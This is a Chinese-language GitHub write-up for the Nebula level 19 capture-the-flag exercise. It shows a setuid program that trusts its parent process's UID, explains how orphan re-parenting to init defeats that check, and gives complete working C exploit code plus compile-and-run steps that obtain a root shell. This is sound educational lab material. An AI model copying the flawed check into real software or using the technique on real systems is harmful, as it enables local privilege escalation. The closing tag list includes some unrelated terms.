John-64/Nebula19-Walkthrough

GitHub: John-64/Nebula19-Walkthrough

Nebula Level 19 的漏洞利用 writeup,通过进程重新挂靠实现特权提升,演示了依赖父进程 UID 校验的安全缺陷。

Stars: 1 | Forks: 0

# Nebula 19:当孤儿进程成为 root 下面的程序在运行方式上存在一个缺陷。 要通过此关,请使用账号 level19 和密码 level19 登录。此关卡的文件可以在 `/home/flag19` 中找到。 ## 源代码 ``` #include #include #include #include #include #include #include int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); } ``` ## 解析 此关卡在程序验证用户权限的方式上存在一个漏洞。 程序没有检查执行二进制文件的真实用户,而是通过检查 `/proc/` 并读取 `st_uid` 字段来信任父进程的 UID。 这产生了一个权限提升漏洞:通过强制父进程终止,子进程会成为孤儿进程并被 init(PID 1)收养,而 init 是以 root 身份运行的。 由于 init 的 UID 是 0,检查会成功通过,程序随后会授权访问一个特权 shell。 此关卡的目标是利用这种薄弱的父进程验证机制并执行 `/bin/getflag`。 ### 漏洞 存在漏洞的检查代码如下: ``` if(statbuf.st_uid == 0) ``` 程序假设如果父进程属于 root,执行就是被授权的。 - 这是不安全的,因为父进程可以通过进程重新挂靠被操纵。 #### 进程重新挂靠 在 Unix 系统中,每个进程都有一个父进程。当父进程在其子进程之前终止时,子进程并不会消失。相反,它会成为一个孤儿进程,并被自动“收养”到 `init`(PID 1)——即内核启动的第一个进程。 这种机制被称为**进程重新挂靠**。由于 `init` 是以 root 权限(UID 0)运行的,因此任何仅基于父进程所有权的权限安全检查都会变得不可靠。 在此关卡中,程序使用 `/proc/` 检查父进程的 UID。通过杀死原始父进程,子进程会被重新挂靠到 `init`,从而导致 UID 检查成功通过。 ## 漏洞利用策略 1. 使用 `fork()` 创建一个子进程; 2. 使用 `kill(getppid(), SIGKILL)` 杀死父进程; 3. 子进程成为孤儿进程; 4. 系统将子进程重新挂靠到 `init`(PID 1); 5. 执行 `/home/flag19/flag19`; 6. 程序检查新的父进程(`init`); 7. 由于 init 属于 root,UID 检查通过; 8. 一个特权 shell 被生成; 9. 执行 `/bin/getflag`。 ## 漏洞利用代码 ``` #include #include #include #include #include int main() { /* Array of arguments passed to execve(): runs /bin/sh -c "/bin/getflag" */ char *args[] = { "/bin/sh", "-c", "/bin/getflag", NULL }; /* Create a child process */ pid_t pid = fork(); if (pid == 0) { /* Child process */ printf("Ready to kill parent process: %d\n", getppid()); /* Kill the parent process */ kill(getppid(), SIGKILL); /* Execute the vulnerable binary */ execve("/home/flag19/flag19", args, NULL); /* If execve fails, print the error */ perror("execve failed"); exit(EXIT_FAILURE); } else if (pid > 0) { /* Parent process */ wait(NULL); } else { /* fork() failed */ perror("fork failed"); exit(EXIT_FAILURE); } return 0; } ``` 漏洞利用源代码可在[此处](/exploit.c)获取。 ## 获取 flag 1. 首先,创建一个包含漏洞利用代码的文件: nano exploit.c - 将提供的漏洞利用代码粘贴到文件中并保存。 2. 使用 GCC 编译程序: gcc exploit.c -o exploit.out 3. 运行编译好的二进制文件: ./exploit.out - 这将触发进程链并在所需条件下执行存在漏洞的程序。 4. 一旦生成了具有提权权限的 shell,运行: /bin/getflag ## 致谢 - [Exploit Education](https://exploit.education/nebula/level-19/) ## 许可证 本项目基于 MIT 许可证授权。有关详细信息,请参阅 LICENSE 文件。
标签:CTF Writeup, Exploit Development, Linux提权, Nebula, Orphan Process, UID检查绕过, Unix安全, Web报告查看器, 二进制分析, 云安全运维, 协议分析, 子域名枚举, 客户端加密, 提权漏洞, 本地提权, 权限提升, 父进程伪造, 系统安全, 网络安全, 进程PID绕过, 进程重新挂载, 隐私保护